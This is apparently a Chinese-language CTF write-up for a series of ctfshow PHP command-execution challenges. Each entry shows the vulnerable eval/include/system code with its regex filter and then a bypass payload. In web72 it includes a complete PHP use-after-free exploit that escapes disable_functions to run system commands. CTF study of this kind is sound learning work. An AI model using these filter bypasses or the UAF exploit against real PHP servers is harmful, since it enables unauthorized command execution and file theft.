web29 {#web295434}
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
命令执行第一题还是比较简单的,只匹配了flag字符串且大小写不分
然后可以利用*来代替任何字符
web30 {#web309884}
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里匹配了flag|system|php这三个字符串且不分大小写。payload还是可以用web29的
web31 {#web319879}
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里发现cat也给匹配了。不过没关系我们可以利用less来代替,空格用%09
web32 {#web322879}
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里把echo也给拦截了。这里我们可以利用include函数
payload:?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web33 {#web338858}
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题多把**"**给拦截了,所以我们重新构造payload如下
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web34 {#web344480}
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题多了个**:**无伤大雅,继续用web33的payload
web35 {#web351748}
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload同web33
web36 {#web368669}
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了数字,影响还是不大,payload同web33
web37 {#web378565}
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这题开始变成inlude函数了,我们可以用伪协议
?c=data://text/plain,<?php%20echo%20`cat%20fla*`;%20?>;
web38 {#web384252}
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这题把php过滤了。但是没事,我们可以利用php短标签payload如下
?c=data://text/plain,<?=%20system(%27cat%20fla*%27)%20?>
web39 {#web394414}
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
data://text/plain,<?php%20echo%20`cat%20fla*`;%20?>
上面这个payload,已经执行了php语句。由于前面语句闭合了,所以后面的.php没什么用
web40 {#web401814}
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题过滤了好多东西....我是学习了这位师傅的思路https://blog.csdn.net/qq_44893894/article/details/109923404
current()函数返回数组中的当前元素/单元,默认取第一个值;
pos()函数同上,是current()函数的别名;
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE
我们先查看本地有那些文件
接下来利用array_reverse()函数把返回值逆过来。并且用next函数读取下一个元素
最后用highlight_file()函数读取文件
web41 {#web414868}
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这题没有过滤 | 或运算符,但是由于我编写脚本能力不够强,所以附上其他人的wp:https://wp.ctf.show/d/137-ctfshow-web-web41
web42 {#web427643}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
所以说这里我们需要分隔开俩个命令,这里我采用 ||(管道符相关介绍在之前文章里有)
payload:?c=cat%20flag.php||
web43 {#web436685}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里多更新了对于;和cat的过滤。不碍事,代替方法上文都有
payload:?c=less%20flag.php||
web44 {#web447620}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里就多了个flag
payload:?c=less%20fla*.php||
web45 {#web458827}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题多了个空格过滤
payload:?c=less%09fla*.php||
web46 {#web461760}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题多了对数字的过滤以及过滤。不过不要紧。%09会被url自动解码我们可以利用?代替
payload:?c=less%09fla?.php||
web47 {#web474744}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次开始把less给匹配了。不过我们可以利用tac绕过
payload: ?c=tac%09fla?.php||
web48 {#web483898}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题还是在对于cat的类似指令进行过滤,没有过滤cat
payload:?c=tac%09fla?.php||
web49 {#web491556}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
解释同web48
web50 {#web505092}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里也把%给拦截了我们用<代替
payload:?c=tac<fla%27%27g.php||
web51 {#web516584}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里把tac过滤了。我们接下来用nl
payload:?c=nl<>fla%27%27g.php||
web52 {#web529826}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题把<>也过滤了,但是他把$放出来了,所以我们可以用{IFS}来代替空格
发现他改动位置了,经查询发现在下图
payload:?c=nl${IFS}../../../fla?||
web53 {#web534880}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这里把往题的 >/dev/null 2>&1删除了,所以不需要加||了
payload:nl${IFS}fla?.php
web54 {#web546179}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题过滤了蛮多的
payload:?c=paste${IFS}fla?.php
web55 {#web555614}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里没有过滤?和数字,所以我们可以尝试利用这俩个进行模糊匹配。并且我们需要在其前面模糊匹配/bin/(这些命令在bin下)
payload:/???/????64%20????????
然后base64解码就好了
web56 {#web565352}
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题把数字也给过滤了,我们可以学习下p神的思路
首先我们可以知道**. xx** 可以执行文件里的命令。
然后linux通常会把上传的临时文件放在**/tmp/php??????**的地方(??????代表随机字母),所以我们可以利用下图去匹配他
???/????????[@-[]
所以说这里我们就可以构造一个post的数据包去一边上传临时文件一边执行文件命令即---条件竞争(记得要多点几次)
web57 {#web579886}
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
现在连**?**都过滤了所以说就不能用之前的方法了。作者给出了payload
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
在linux下直接执行发现就是36
研究了下,原来原理是:$(())** 代表做一次运算,**${_} 是返回上一次执行命令的值
如上图,以此类推。最后到36的时候再来个取反就好了。
ok现在到了另外一种题型
web58 {#web585852}
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:c=highlight_file('flag.php');
web59 {#web596626}
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
呃,这题虽然表面上跟上面一题一样,但是估计多禁用了函数。具体禁用了啥我也不知道。不过payload如web58
web60-65 {#web60-656376}
方法同58
web66 {#web665117}
哦吼,这次他把文件地址改了
我们来先看看根目录下有什么文件
发现了flag.txt
payload:c=highlight_file('/flag.txt');
web67 {#web676251}
这次他把print_r函数给禁用了,我们可以用var_dump来代替c=var_dump(scandir("/"));
然后直接
highlight_file('/flag.txt');
web68 {#web683497}
这次索性不给代码了qaq,且highlight_file函数也给禁用了。我们继续试试能不能读取根目录
由于highlight_file给禁用了,且我发现show_source函数也被禁用了。那么我们还能试试include函数
web69 {#web698728}
这时候var_dump也被禁用了,我们可以利用以下payload来列目录。
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
还是在那个位置include("/flag.txt");
web70 {#web704833}
同69,补个效果图。
web71 {#web711758}
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>你要上天吗?
这里我们发现在eval();后面多了个匹配缓存区,它会把匹配到的数字和字母用?来代替。想绕过也简单,直接在末尾加上exit();
payload:include("/flag.txt");exit();
web72 {#web727121}
先列个目录看看
发现改名字了,但是include函数也被禁用了。这里我们用上群主给的uaf脚本(垃圾回收机制)来命令执行(emmmm原理我也不晓得)
payload:function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag.txt");ob_end_flush();
记得要把payload进行url加密
web73 {#web735486}
跟前面思路差不多
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现文件flagc.txt然后读他
c=include("/flagc.txt");exit();
web74 {#web746714}
思路同web73,修改了文件名字
web75 {#web753143}
先读取目录知道这次文件在flag36.txt里。然后发现include这里也不能用了qaq。
这里用load------file读取
payload:c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web76 {#web766824}
同75操作
web77 {#web776583}
先读取目录
然后,题目有提示我们php环境是7.4,所以我们可以利用FFI拓展来做
payload:c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit();
然后去1.txt访问即可
web118 {#web1187136}
右键源代码发现提示system($code);
这里经过我fuzz发现过滤了很多仅剩下大写英文字母和~?;:{}$还可以使用,所以说我们可以执行shell命令。下图为作者的提示
这里我们首先需要知道(先在我kali情况下看看),另外附上一个BASH内置变量表
也就是说如果我们要构造nl命令的话只需要利用${PATH}的最后一个字符,以及${PWD}的最后一个字符,然后利用通配符去匹配文件flag.php
payload:${PATH:~A}${PWD:~A} ????.???
web119 {#web1197768}
这题的PATH给过滤掉了。所以说我们就得换一个构造了。(明早要练车,先不更新了)